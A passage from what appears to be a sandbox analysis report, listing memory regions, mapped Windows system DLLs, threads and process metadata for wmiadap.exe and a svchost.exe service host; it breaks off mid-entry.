Region: id = 2149 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2150 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2151 start_va = 0xff860000 end_va = 0xff88ffff entry_point = 0xff860000 region_type = mapped_file name = "wmiadap.exe" filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe") Region: id = 2152 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2153 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2154 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2155 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2156 start_va = 0x340000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2157 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2158 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2159 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2160 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2161 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2162 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2163 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2164 start_va = 0xe0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2165 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2166 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2167 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2168 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 2169 start_va = 0x760000 end_va = 0x81ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 2170 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2171 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2172 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2173 start_va = 0x7fef9210000 end_va = 0x7fef9236fff entry_point = 0x7fef9210000 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Region: id = 2174 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2175 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2176 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2177 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2178 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2179 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2180 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2181 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2182 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2183 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2184 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2185 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2186 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2187 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2350 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2351 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2352 start_va = 0x2b0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2353 start_va = 0x920000 end_va = 0x99ffff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 2354 start_va = 0x9b0000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2355 start_va = 0xa70000 end_va = 0xaeffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2356 start_va = 0xb30000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 2357 start_va = 0xc30000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2358 start_va = 0xcb0000 end_va = 0xf7efff entry_point = 0xcb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2359 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2360 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2361 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2362 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2363 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2364 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2365 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2366 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2367 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2368 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2369 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2370 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2371 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2372 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Thread: id = 187 os_tid = 0xa50 Thread: id = 188 os_tid = 0xa60 Thread: id = 209 os_tid = 0xa5c Thread: id = 210 os_tid = 0xa48 Thread: id = 211 os_tid = 0xa38 Thread: id = 212 os_tid = 0xa44 Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9e4d000" os_pid = "0x2cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bb5d" [0xc000000f], "LOCAL" [0x7] Region: id = 2188 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2189 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2190 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2191 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2192 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2193 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2194 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2195 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2196 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2197 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2198 start_va = 0x180000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2199 start_va = 0x280000 end_va = 0x33ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2200 start_va = 0x340000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2201 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2202 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2203 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2204 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2205 start_va = 0x790000 end_va = 0xb82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 2206 start_va = 0xb90000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 2207 start_va = 0xbd0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 2208 start_va = 0xbf0000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 2209 start_va = 0xc10000 end_va = 0xc10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 2210 start_va = 0xc20000 end_va = 0xc20fff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2211 start_va = 0xc30000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2212 start_va = 0xcb0000 end_va = 0xcb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 2213 start_va = 0xcc0000 end_va = 0xcc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 2214 start_va = 0xcd0000 end_va = 0xcd1fff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 2215 start_va = 0xce0000 end_va = 0xce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 2216 start_va = 0xcf0000 end_va = 0xcf2fff entry_point = 0xcf0000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 2217 start_va = 0xd80000 end_va = 0xde1fff entry_point = 0xd80000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2218 start_va = 0xdf0000 end_va = 0xdf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 2219 start_va = 0xe00000 end_va = 0xe00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 2220 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 2221 start_va = 0xe50000 end_va = 0xe57fff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 2222 start_va = 0xe60000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 2223 start_va = 0xf90000 end_va = 0xff1fff entry_point = 0xf90000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2224 start_va = 0x1060000 end_va = 0x132efff entry_point = 0x1060000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2225 start_va = 0x1330000 end_va = 0x142ffff entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 2226 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 2227 start_va = 0x1530000 end_va = 0x15affff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 2228 start_va = 0x15d0000 end_va = 0x164ffff entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 2229 start_va = 0x1650000 end_va = 0x16cffff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 2230 start_va = 0x1730000 end_va = 0x17affff entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 2231 start_va = 0x17e0000 end_va = 0x18dffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 2232 start_va = 0x1910000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001910000" filename = "" Region: id = 2233 start_va = 0x19a0000 end_va = 0x1a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000019a0000" filename = "" Region: id = 2234 start_va = 0x1ab0000 end_va = 0x1b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ab0000" filename = "" Region: id = 2235 start_va = 0x1b30000 end_va = 0x1baffff entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 2236 start_va = 0x1c60000 end_va = 0x1cdffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 2237 start_va = 0x1ce0000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 2238 start_va = 0x1d80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 2239 start_va = 0x20a0000 end_va = 0x211ffff entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 2240 start_va = 0x2120000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 2241 start_va = 0x2520000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 2242 start_va = 0x25a0000 end_va = 0x261ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 2243 start_va = 0x2720000 end_va = 0x2b22fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 2244 start_va = 0x2ba0000 end_va = 0x2c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ba0000" filename = "" Region: id = 2245 start_va = 0x2c20000 end_va = 0x2c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 2246 start_va = 0x2ca0000 end_va = 0x349ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 2247 start_va = 0x3620000 end_va = 0x369ffff entry_point = 0x0 region_type = private name = "private_0x0000000003620000" filename = "" Region: id = 2248 start_va = 0x3770000 end_va = 0x386ffff entry_point = 0x0 region_type = private name = "private_0x0000000003770000" filename = "" Region: id = 2249 start_va = 0x38d0000 end_va = 0x394ffff entry_point = 0x0 region_type = private name = "private_0x00000000038d0000" filename = "" Region: id = 2250 start_va = 0x3960000 end_va = 0x39dffff entry_point = 0x0 region_type = private name = "private_0x0000000003960000" filename = "" Region: id = 2251 start_va = 0x3a70000 end_va = 0x3aeffff entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 2252 start_va = 0x75940000 end_va = 0x75942fff entry_point = 0x75940000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 2253 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2254 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2255 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2256 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2257 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2258 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2259 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2260 start_va = 0xfffb0000 end_va = 0x100002fff entry_point = 0xfffb0000 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 2261 start_va = 0x7fee2070000 end_va = 0x7fee211dfff entry_point = 0x7fee2070000 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2262 start_va = 0x7fee24b0000 end_va = 0x7fee25d4fff entry_point = 0x7fee24b0000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 2263 start_va = 0x7fee25e0000 end_va = 0x7fee25fbfff entry_point = 0x7fee25e0000 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 2264 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2265 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2266 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2267 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2268 start_va = 0x7fef8240000 end_va = 0x7fef828efff entry_point = 0x7fef8240000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 2269 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2270 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2271 start_va = 0x7fef9740000 end_va = 0x7fef977afff entry_point = 0x7fef9740000 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 2272 start_va = 0x7fef9780000 end_va = 0x7fef97d0fff entry_point = 0x7fef9780000 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 2273 start_va = 0x7fef97f0000 end_va = 0x7fef97f7fff entry_point = 0x7fef97f0000 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 2274 start_va = 0x7fef9800000 end_va = 0x7fef9809fff entry_point = 0x7fef9800000 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 2275 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2276 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2277 start_va = 0x7fefbb50000 end_va = 0x7fefbb58fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2278 start_va = 0x7fefbb60000 end_va = 0x7fefbc0bfff entry_point = 0x7fefbb60000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 2279 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2280 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2281 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2282 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = 